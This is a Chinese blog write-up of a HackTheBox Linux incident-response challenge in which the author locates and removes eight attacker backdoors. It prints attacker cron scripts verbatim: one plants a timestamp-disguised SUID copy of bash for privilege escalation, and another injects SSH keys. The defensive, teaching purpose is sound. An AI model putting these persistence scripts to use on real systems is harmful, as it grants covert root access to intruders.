安全研究

Linux入侵检测——例题(PersistenceIsFutile)

2026年04月14日5分钟

https://app.hackthebox.com/challenges/PersistenceIsFutile?tab=play_challenge

Hackers made it onto one of our production servers 😅. We’ve isolated it from the internet until we can clean the machine up. The IR team reported eight difference backdoors on the server, but didn’t say what they were and we can’t get in touch with them. We need to get this server back into prod ASAP - we’re losing money every second it’s down. Please find the eight backdoors (both remote access and privilege escalation) and remove them. Once you’re done, run /root/solveme as root to check. You have SSH access and sudo rights to the box with the connections details attached below.

username: user

password: hackthebox

黑客侵入了我们的一台生产服务器😅。我们已经把它和网络隔离了直到我们把机器清理干净。IR团队报告了服务器上八个不同的后门,但没有说它们是什么,我们无法与他们取得联系。我们需要尽快让这个服务器恢复正常——它每停机一秒钟,我们就会损失一笔钱。请找到八个后门(包括远程访问和特权升级)并删除它们。完成后,以root身份运行/root/solveme进行检查。您具有SSH访问权限和sudo权限,并具有下面附加的连接详细信息。

ps:被64核256g内存的容器吓哭了,HTB你是这个

咕了这么久也是终于开始写这篇文章了,唔…怎么说呢,我有点想分几个角度来讲,顺便也分享一下我自己做入侵检测题的思路

排查系统配置文件和用户文件

  • /home /root

/home/user 下有一个很明显的后门.backdoor

image-20260414202529728

/root下就很正常 (其实不然,后面再看)

image-20260414202802198

  • ~/.bashrc profile

/home/user/.bashrc

一个劫持cat反弹shell的小后门

image-20260414213828208

/root/.bashrc

image-20260414203814834

明显的反弹shell,顺着这一条路来看看alertd在哪

image-20260414203924816

就找到了另一个后门

  • /etc/passwd

image-20260414204106266

可以看到有一个很明显的后门用户 gnats 依据是从UID来看,他是一个系统用户,但是他的GID却是0,同时解释器为/bin/bash(对系统用户来说正常的解释器应该是/usr/bin/nologin之类的,总之不能使bash sh zsh 三类shell)

唔….那么推测一下,黑客有可能是创建了一个后门用户再伪装成系统用户,也有可能是直接劫持的系统用户

  • sudoers

一切正常哈

  • alias

user用户的别名下,可以看到攻击者劫持了cat来反弹shell,与user/.bashrc 中一致 ​

image-20260414204721024

root 下一切正常

这里要是看到了 .bashrc 里没有的别名就要翻别的配置文件喽~

  • ~/.ssh

这个嘛,就要回到最开始了,可以发现/root下有.ssh目录,并且还有authorized_keys文件 ​

image-20260414204936288

ok啊,cat 一下看看,发现了另一个后门用户 ​

image-20260414205105405

排查网络连接/活动进程

  • netstat -pantu

可以看到上一个环节排查到的两个后门

image-20260414205323484

  • ps -aux

可以就看到奇奇怪怪的进程,PID还和刚刚netstat查出来的后门对上了

image-20260414205901742

过去瞅瞅,很明显的反弹shell

image-20260414210105319

关于这个洞啊,还有一个小坑,就是当尝试kill进程的时候会发现他kill不掉,那么就说明他还存在着一个守护进程,直接根目录狠狠爆搜

image-20260414210415837

找到守护进程

排查定时任务

  • crontab

root 下没有定时任务

user 下就能看到下一个后门

image-20260414210552444

  • /etc/cron*

注意这俩(唔…不知道看哪个的话有个最简单的方式就是这几个都看一遍)

image-20260414211103379

access-up

#!/bin/bash


DIRS=("/bin" "/sbin")
DIR=${DIRS[$[ $RANDOM % 2 ]]}

while : ; do
    NEW_UUID=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 6 | head -n 1)
    [[ -f "{$DIR}/${NEW_UUID}" ]] || break
done

cp /bin/bash ${DIR}/${NEW_UUID}
touch ${DIR}/${NEW_UUID} -r /bin/bash
chmod 4755 ${DIR}/${NEW_UUID}

注意最后一句啊,给程序赋4755权限,也就是给SUID位赋值了哈

那么依旧,根目录爆搜

image-20260414212235362

发现一堆后门,包括最开始就找到的.backdoor文件(怎么判断是后门呢——文件名奇奇怪怪自己不认识,网上又查不到的都是可疑文件)

pyssh

#!/bin/sh

VER=$(python3 -c 'import ssh_import_id; print(ssh_import_id.VERSION)')
MAJOR=$(echo $VER | cut -d'.' -f1)

if [ $MAJOR -le 6 ]; then
    /lib/python3/dist-packages/ssh_import_id_update
fi

乍一看,好像没什么问题,但是用python运行一下就会发现根本没有装这个库(另外,谁家好人直接运行库文件的,而且人github仓库里也搜不到这个文件)

过去看看 ​

image-20260414213545955

确实是一个往authorized_keys塞东西的脚本

排查服务/timer

  • /etc/systemd/system

这个题嘛,挺正常的,没看到什么奇奇怪怪的东西

最后

最后,该改改,该删删,然后去拿flag就好啦

总结一下叭,其实可以发现,上述几个方面会有许多重叠的地方。大家可以将他们当作自己做入侵检测题时的入口点参考,而不是排查顺序(因为我感觉顺序这个东西倒没那么重要,反而入口点难找,找到入口点后其余的顺腾摸瓜也就出来了)

暂无标签